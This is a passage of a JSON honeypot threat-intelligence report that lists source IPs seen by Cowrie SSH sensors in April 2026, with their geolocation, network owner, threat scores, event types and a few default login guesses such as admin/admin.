      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 29,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-02T20:58:42+00:00",
        "last_seen_30d": "2026-04-30T20:16:47.248000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 32,
        "Cowrie": 6,
        "Adbhoney": 4,
        "Dionaea": 1,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "101.53.236.155": {
      "attack_count": 5,
      "first_seen": "2026-04-27T18:57:20.041Z",
      "last_seen": "2026-04-27T18:57:23.261Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "[root]"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T18:57:20.041000+00:00",
        "last_seen_30d": "2026-04-27T18:58:28.036000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "40.124.174.199": {
      "attack_count": 5,
      "first_seen": "2026-04-09T02:44:34.771Z",
      "last_seen": "2026-04-09T02:44:45.098Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 80.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 16.1,
        "persistence": 20.8,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 25,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-06T20:22:47.172000+00:00",
        "last_seen_30d": "2026-04-30T02:31:22.689000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Cowrie": 5,
        "Honeytrap": 5,
        "Redishoneypot": 3,
        "Tanner": 1
      }
    },
    "85.11.167.217": {
      "attack_count": 5,
      "first_seen": "2026-04-13T09:06:20.498Z",
      "last_seen": "2026-04-13T09:08:20.593Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "s1mpl3"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 213438,
      "as_org": "ColocaTel Inc.",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-13T09:06:18.778000+00:00",
        "last_seen_30d": "2026-04-13T09:09:29.104000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 5,
        "Honeytrap": 4,
        "Dionaea": 2
      }
    },
    "103.42.74.124": {
      "attack_count": 4,
      "first_seen": "2026-04-15T13:03:28.146Z",
      "last_seen": "2026-04-15T13:03:28.636Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 147185,
      "as_org": "INFYNIX DATA SERVICES PRIVATE LIMITED",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T13:03:28.146000+00:00",
        "last_seen_30d": "2026-04-15T13:04:32.920000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "104.248.46.13": {
      "attack_count": 4,
      "first_seen": "2026-04-08T11:45:54.910Z",
      "last_seen": "2026-04-08T11:45:58.176Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T11:45:54.910000+00:00",
        "last_seen_30d": "2026-04-08T11:47:03.334000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "123.195.174.73": {
      "attack_count": 4,
      "first_seen": "2026-04-03T17:42:28.385Z",
      "last_seen": "2026-04-06T15:50:29.204Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Guishan",
      "asn": 38841,
      "as_org": "kbro CO. Ltd.",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T17:42:28.385000+00:00",
        "last_seen_30d": "2026-04-06T15:51:36.234000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "157.230.121.176": {
      "attack_count": 4,
      "first_seen": "2026-04-24T09:17:46.203Z",
      "last_seen": "2026-04-24T09:17:48.487Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T09:17:46.203000+00:00",
        "last_seen_30d": "2026-04-24T09:18:55.921000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "195.123.210.209": {
      "attack_count": 4,
      "first_seen": "2026-04-27T06:42:55.092Z",
      "last_seen": "2026-04-27T06:42:56.311Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Riga",
      "asn": 50979,
      "as_org": "Green Floid LLC",
      "threat_score": 42.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 15.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 19,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T04:17:50.690000+00:00",
        "last_seen_30d": "2026-04-29T04:42:32.838000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 4
      }
    },
    "198.235.24.27": {
      "attack_count": 4,
      "first_seen": "2026-04-14T04:55:11.100Z",
      "last_seen": "2026-04-14T04:55:14.210Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 54.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.9,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 22,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T03:21:50+00:00",
        "last_seen_30d": "2026-04-23T20:10:08.858000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 16,
        "Cowrie": 4
      }
    },
    "198.235.24.36": {
      "attack_count": 4,
      "first_seen": "2026-04-22T22:49:17.089Z",
      "last_seen": "2026-04-22T22:49:20.121Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T23:35:42+00:00",
        "last_seen_30d": "2026-04-30T05:12:05.788000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 19,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "199.45.154.124": {
      "attack_count": 4,
      "first_seen": "2026-04-17T09:23:51.765Z",
      "last_seen": "2026-04-17T09:24:07.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 85.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 28,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T22:39:45+00:00",
        "last_seen_30d": "2026-04-30T14:32:38.560000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 7,
        "CitrixHoneypot": 5,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "223.123.35.132": {
      "attack_count": 4,
      "first_seen": "2026-04-17T05:07:38.279Z",
      "last_seen": "2026-04-17T05:08:03.758Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Jhang Sadar",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T05:07:38.279000+00:00",
        "last_seen_30d": "2026-04-17T05:09:04.400000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "47.93.81.231": {
      "attack_count": 4,
      "first_seen": "2026-04-06T03:02:55.805Z",
      "last_seen": "2026-04-24T00:20:29.575Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T03:02:55.805000+00:00",
        "last_seen_30d": "2026-04-24T00:21:30.944000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "64.62.197.73": {
      "attack_count": 4,
      "first_seen": "2026-04-16T10:28:38.287Z",
      "last_seen": "2026-04-16T10:28:42.288Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 71.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.2,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 25,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T05:46:41.319000+00:00",
        "last_seen_30d": "2026-04-28T03:01:50.571000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 4,
        "Honeytrap": 4,
        "H0neytr4p": 1
      }
    },
    "66.240.192.82": {
      "attack_count": 4,
      "first_seen": "2026-04-02T18:31:50.600Z",
      "last_seen": "2026-04-02T18:31:51.422Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T18:31:50.600000+00:00",
        "last_seen_30d": "2026-04-05T01:11:08.795000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "85.217.140.7": {
      "attack_count": 4,
      "first_seen": "2026-04-19T18:25:44.570Z",
      "last_seen": "2026-04-19T18:25:45.228Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 77.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 27,
        "ports_targeted_30d": 115,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T13:50:26.831000+00:00",
        "last_seen_30d": "2026-04-27T02:57:56.364000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 117,
        "Honeytrap": 94,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "107.175.49.221": {
      "attack_count": 3,
      "first_seen": "2026-04-16T03:29:44.509Z",
      "last_seen": "2026-04-16T03:30:52.372Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T03:29:44.509000+00:00",
        "last_seen_30d": "2026-04-16T03:31:52.881000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "171.116.45.19": {
      "attack_count": 3,
      "first_seen": "2026-04-08T00:50:37.900Z",
      "last_seen": "2026-04-08T00:50:37.902Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T09:41:46.824000+00:00",
        "last_seen_30d": "2026-04-08T00:51:38.497000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "36.230.49.181": {
      "attack_count": 3,
      "first_seen": "2026-04-04T19:28:47.127Z",
      "last_seen": "2026-04-04T19:29:48.944Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T19:28:47.127000+00:00",
        "last_seen_30d": "2026-04-04T19:30:57.934000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "91.230.168.78": {
      "attack_count": 3,
      "first_seen": "2026-04-21T20:05:08.679Z",
      "last_seen": "2026-04-21T20:05:08.681Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T11:31:02+00:00",
        "last_seen_30d": "2026-04-30T08:05:00.292000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 48,
        "Cowrie": 3
      }
    },
    "138.121.104.211": {
      "attack_count": 2,
      "first_seen": "2026-04-08T22:56:49.837Z",
      "last_seen": "2026-04-08T22:57:02.461Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T22:56:49.837000+00:00",
        "last_seen_30d": "2026-04-08T22:58:08.804000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.213": {
      "attack_count": 2,
      "first_seen": "2026-04-27T15:17:26.045Z",
      "last_seen": "2026-04-27T15:17:56.819Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:00:37+00:00",
        "last_seen_30d": "2026-04-30T17:20:13.695000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 95,
        "Honeytrap": 40,
        "Cowrie": 2
      }
    },
    "179.32.129.99": {
      "attack_count": 2,
      "first_seen": "2026-04-26T19:38:21.784Z",
      "last_seen": "2026-04-26T19:40:21.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Funza",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T19:38:21.784000+00:00",
        "last_seen_30d": "2026-04-26T19:41:57.715000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "194.32.242.131": {
      "attack_count": 2,
      "first_seen": "2026-04-27T20:52:15.436Z",
      "last_seen": "2026-04-27T20:52:18.987Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 213937,
      "as_org": "Gagra Telecom LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T20:52:15.436000+00:00",
        "last_seen_30d": "2026-04-27T20:53:27.962000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.39": {
      "attack_count": 2,
      "first_seen": "2026-04-19T04:29:21.345Z",
      "last_seen": "2026-04-19T04:29:21.507Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T04:00:52+00:00",
        "last_seen_30d": "2026-04-30T08:09:03.378000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 30,
        "Cowrie": 2,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "210.192.95.22": {
      "attack_count": 2,
      "first_seen": "2026-04-23T14:26:11.602Z",
      "last_seen": "2026-04-23T14:26:25.646Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 17577,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T14:26:11.602000+00:00",
        "last_seen_30d": "2026-04-23T14:27:28.238000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.134.218.134": {
      "attack_count": 2,
      "first_seen": "2026-04-12T09:31:38.792Z",
      "last_seen": "2026-04-12T09:32:09.659Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
